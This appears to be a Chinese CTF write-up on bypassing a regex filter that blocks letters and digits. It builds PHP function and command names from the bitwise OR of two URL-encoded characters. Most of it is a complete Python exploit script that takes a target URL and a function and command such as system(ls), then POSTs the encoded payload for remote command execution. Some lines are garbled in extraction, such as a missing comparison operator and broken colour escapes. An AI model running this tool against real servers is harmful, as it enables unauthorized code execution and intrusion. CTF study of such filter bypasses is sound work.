解题思路以及代码思路完全来源于羽大佬的博客:https://blog.csdn.net/miuzzx/article/details/108569080
Exploit在此基础上做了一些改进
代码在附件里有
首先我们可以看到这里过滤的很多,0-9,a-z
这么一看好像是没办法做了,毕竟字母数字都过滤掉了
但是留下了一个字符 |
管道符
这个管道符有什么用呢
可以看这里这篇博客:https://blog.csdn.net/weixin_49278803/article/details/120453347
第二部分的
当比较单位为数值单位时,进行位运算
这是在python中的,python里只能数字之间才能进行位运算(应该)
但是python想要实现字符之间的位运算,可以这样
chr(ord("a") | ord("b"))
这里得到的结果是 c
也就是说,我们可以通过两个字符的位运算,来得到另一个字符
比如说,假如我们想要执行一个system(ls)
但是s不能用
我们先找到 s 的ascii码,16进制对应的那个,url编码也一样
0x73,那么我们只需要知道,哪两个16进制数字进行 | 运算会得到 73,并且这两个16进制对应的字符,能够通过上面的正则表达式,那么我们就可以成功执行一个s了
还挺多的
但是我们上面有个正则表达式限制
我们再改进一下代码
这样得到的就是可以通过正则表达式的结果了
import re
import requests
import urllib
def isTrue(reg, asc: int) -> bool:
return reg.match(chr(asc)) is None
def toUrlCode(asc: int) -> str:
return hex(asc).replace("0x", '%') if asc > 15 else hex(asc).replace("0x", '%0')
def charOrDict(reg) -> dict:
"""
:rtype: object
:param reg: 正则表达式
:return: dic[字符] = [字符1,字符2] # (字符1 | 字符2) = 字符
"""
dic = {}
for i in range(256):
for j in range(256):
if isTrue(reg, i) and isTrue(reg, j):
char = chr(i | j)
if char in dic:
continue
if ord(char) 126:
break
hex_i = toUrlCode(i)
hex_j = toUrlCode(j)
dic[char] = [hex_i, hex_j]
return dic
def getCharOr(char: str, dic: dict) -> str:
s1 = ""
s2 = ""
for i in char:
s1 += dic[i][0]
s2 += dic[i][1]
output = f'("{s1}"|"{s2}")'
return output
def main():
url = input("33[94m%s33[0m" % "[*] Url:")
reg = re.compile("[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-", re.I)
charOrdic = charOrDict(reg)
while True:
param = getCharOr(input("33[94m%s33[0m" % "[*] your function:"), charOrdic) + getCharOr(
input("33[94m%s33[0m" % "[*] your command:"), charOrdic)
print(param)
print(urllib.parse.unquote(param))
data = {
'c': urllib.parse.unquote(param)
}
r = requests.post(url, data=data)
print("33[92m%s33[0m" % f"[+] result:\n{r.text}")
if __name__ == '__main__':
main()
打赏我,让我更有动力~
代码.zip 文件大小:0.001M (下载次数:0)
© 2016 - 2024 掌控者 All Rights Reserved.